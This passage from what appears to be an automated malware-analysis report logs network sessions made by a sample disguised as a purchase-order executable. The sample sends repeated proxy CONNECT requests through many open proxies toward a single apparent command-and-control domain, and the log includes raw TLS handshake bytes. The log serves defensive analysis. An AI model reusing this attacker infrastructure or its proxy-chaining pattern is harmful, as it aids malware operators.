66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.19.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.11	51484	8.219.97.248	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.858653069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.212346077 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 16:42:21.243921041 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5c 64 8f 85 87 82 e7 e6 79 34 dc ce 2c 1a 85 63 0a f5 af e8 1c 06 ff d5 ad ab cd 49 b5 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&\dy4,cI*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:24.833718061 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 26 5d f0 f7 4c cd 2c 95 87 50 cf bc f4 22 ab eb 69 fb ef 5b 71 c9 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e&]L,P"i[qDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 16:42:24.833847046 CET	162	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@v*wTJ;dm55inz74\|"@,+v?iS
Mar 11, 2024 16:42:24.835105896 CET	1286	IN	Data Raw: d2 e7 91 27 74 d7 ee 13 8a 11 b0 a8 a3 e4 d5 3b 48 03 d9 a4 25 cb 08 0c 15 0b f0 5b 9d cd 27 fd a8 ef f9 8b c7 ac dc 0d be eb 0c 72 e2 42 ee 75 2a b8 1b b1 19 71 88 a8 e8 2c 14 2f 09 61 65 b1 cd 59 a5 fa 58 68 9d a3 d1 9c d8 9d c9 08 56 96 9f 42 Data Ascii: 't;H%['rBuq,/aeYXhVBc_[:72cG^x}gv00tP'S"0H0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R102008
Mar 11, 2024 16:42:24.835149050 CET	1286	IN	Data Raw: 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de 3d b0 c8 ef 30 7a 24 2d be b8 b3 86 f6 4b f7 f0 b5 4f ff ce c6 f9 f6 3f 2a 27 08 0f 09 3e 23 5a c7 e3 42 2d 7a 36 e4 3d 98 96 60 39 98 ea d1 db 63 2a eb 78 09 b1 4e 21 b3 8e b7 ce 3e 92 f1 95 5c a4 Data Ascii: ]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*j%[ @4 awHI)adcGF9sO+Xe U
Mar 11, 2024 16:42:25.198381901 CET	670	IN	Data Raw: 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 6c 30 3b 06 03 55 1d 20 04 34 30 32 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 0d 06 0b 2b 06 01 04 01 d6 79 02 05 03 02 30 0d 06 0b 2b 06 01 04 01 d6 79 02 05 03 03 30 0d Data Ascii: .goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ#+IjuXHW5ooNi-h+s"7
Mar 11, 2024 16:42:25.200520039 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 3a 73 46 f5 56 91 49 43 20 8d c8 e4 d0 c2 f3 95 88 2f 3c e6 65 8d 13 7d 6b 18 30 f6 f6 6e ed 57 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 40 8c d6 b1 83 65 26 5b 05 8d 9f e2 68 23 fa 2a 43 07 b0 f1 e3 Data Ascii: %! :sFVIC /<e}k0nW(@e&[h#*Ce#[@0
Mar 11, 2024 16:42:25.756268978 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1c 00 c0 fe da 02 3d 4a 01 14 c2 d9 2a 3d f5 f5 3b 09 eb b9 8a 58 8b 0a 2f 53 b4 cd 5e aa 80 ec 08 10 9d b2 e8 88 0f d3 f4 69 95 da f0 f0 f4 c3 5d 20 8e d9 9d f1 60 00 74 b0 10 d5 9b d7 05 47 22 3c 9e 0e 99 33 Data Ascii: =J*=;X/S^i] `tG"<3K_/ZQ)+UR"Yka)ma"LrS3>-yLg8O+IGR"PMd9M1_hA`n)`l/+<d[hvNNE@{xhUre(:1N/r
Mar 11, 2024 16:42:25.815388918 CET	277	OUT	Data Raw: 17 03 03 01 10 00 00 00 00 00 00 00 01 e6 28 f1 fa 9c 22 ba f7 64 24 9b 07 ab 8a 82 ad 6b ff 08 06 4e 71 24 30 07 51 fd f7 fd 6a 56 05 d9 44 87 c9 a0 91 68 52 0d 87 73 4f 2b 6d 8f 5c 22 fd 8e 24 14 24 48 37 d0 78 a7 82 83 a9 0e c2 47 c7 ef e1 88 Data Ascii: ("d$kNq$0QjVDhRsO+m\"$$H7xGR.r1.r?_#C3p^u,?X4XbJ[<AL[RA>t}KNS,qk"U%CA*%f3(K{O@n#lgzR
Mar 11, 2024 16:42:26.178172112 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 a3 8b e7 7d 2c 76 d2 c0 80 8b b9 f2 66 08 44 42 a4 0f d9 4f 55 59 e2 9a ee c5 05 f1 3a b9 19 23 e3 e8 94 2d 71 f0 70 ce a5 be a9 f6 be 5d 5d 95 fc b6 cb 1e 7e 2a 1e d1 10 74 ea 70 53 b9 82 46 30 13 26 41 91 Data Ascii: q},vfDBOUY:#-qp]]~*tpSF0&AQ\u4IhR(Rt8%]NYadCK@;Ppk(N0>1SY?iNNO.+1HI-;LrVVwDU1zenTSR"PM[N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.11	50903	106.14.255.124	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.870625019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.11	50775	74.119.147.209	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.882368088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.11	51754	43.134.167.223	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.882452011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.11	51755	43.134.167.223	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.885437965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.11	51540	167.71.5.83	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.885446072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.346214056 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.11	51761	43.134.167.223	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.887434959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.11	51763	43.134.167.223	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.888686895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.11	51507	116.106.105.55	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.890072107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.11	51523	65.109.211.101	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.900847912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.693649054 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.11	50935	47.93.121.200	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.933233023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.265255928 CET	172	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.4.4</center></body></html>
Mar 11, 2024 16:42:21.268486023 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 36 35 32 39 37 31 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003906529719"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.11	51505	65.1.40.47	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.934845924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.320573092 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.11	49711	72.167.222.113	48892	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.935055017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.985548019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.985929012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.985735893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.985464096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.079057932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.079463959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:33.079078913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.11	51486	114.255.132.60	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.939683914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.658972025 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:22.689332008 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.11	51501	103.190.54.141	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.940996885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.11	51607	203.32.120.202	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.944473982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.098901987 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.11	51622	104.24.236.203	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.953521013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.107872009 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.11	50982	68.1.210.163	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.960515022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.11	51537	65.1.244.232	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.977068901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.463694096 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.11	51561	103.49.202.252	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.978590965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.11	51049	132.148.16.169	52326	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.980034113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.985614061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
